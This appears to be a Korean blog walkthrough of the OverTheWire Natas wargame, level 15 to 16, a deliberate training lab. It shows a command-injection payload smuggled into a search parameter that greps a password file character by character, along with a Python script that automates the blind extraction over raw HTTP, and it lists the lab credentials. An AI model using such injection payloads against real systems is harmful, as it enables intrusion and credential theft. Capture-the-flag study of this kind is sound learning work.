DINGA DINGA
article thumbnail
Published 2021. 6. 24. 22:35
[Natas] Level 15 → Level 16 WEB/Natas
728x90

http://natas16.natas.labs.overthewire.org/index.php

natas16/WaIHEacj63wnNIBROHeqi3p9t0m5nhmh 로 로그인

소스코드를 살펴보자.

 

전 단계들과 마찬가지로 필터링이 걸려 있다.

 

이미 이전 단계들을 통해 natas17의 패스워드가 /etc/natas_webpass/natas17 에 있다는 것을 알고 있으니,

grep 정규표현식 ^을 이용해 패스워드를 알아낼 수 있을 것이다.

 

$(grep ^a.* /etc/natas_webpass/natas17)test

a부분에 0부터 순서대로 대입해보았다.

위와 같이 뜨다가, a에 8을 대입하자 아무것도 뜨지 않았다.

 

즉, 첫번째 글자가 8이라는 것을 알아냈다.

이를 이용해 파이썬으로 자동화 코드를 작성했다.

 

import socket

pw=""
for idx in range(1,33):
  for ch in range(48,123):
    if 58 <= ch <= 64: continue
    if 91 <= ch <= 96: continue
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "GET /"
    header += "?needle=%24%28grep%20%5E"+pw+chr(ch)+"%20/etc/natas_webpass/natas17%20test%29&submit=Search "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n"
    header += "Host:natas16.natas.labs.overthewire.org\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    if not("test" in response):
        pw += chr(ch)
        print(pw)
        sock.close()
        break;
    sock.close()
print("password: ", pw)

 

코드를 실행해서 얻은 결과는 아래와 같다.

 

 

Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

728x90

'WEB > Natas' 카테고리의 다른 글

[Natas] Level 17 → Level 18  (0) 2021.06.24
[Natas] Level 16 → Level 17  (0) 2021.06.24
[Natas] Level 14 → Level 15  (0) 2021.05.28
[Natas] Level 13 → Level 14  (0) 2021.05.28
[Natas] Level 12 → Level 13  (0) 2021.05.19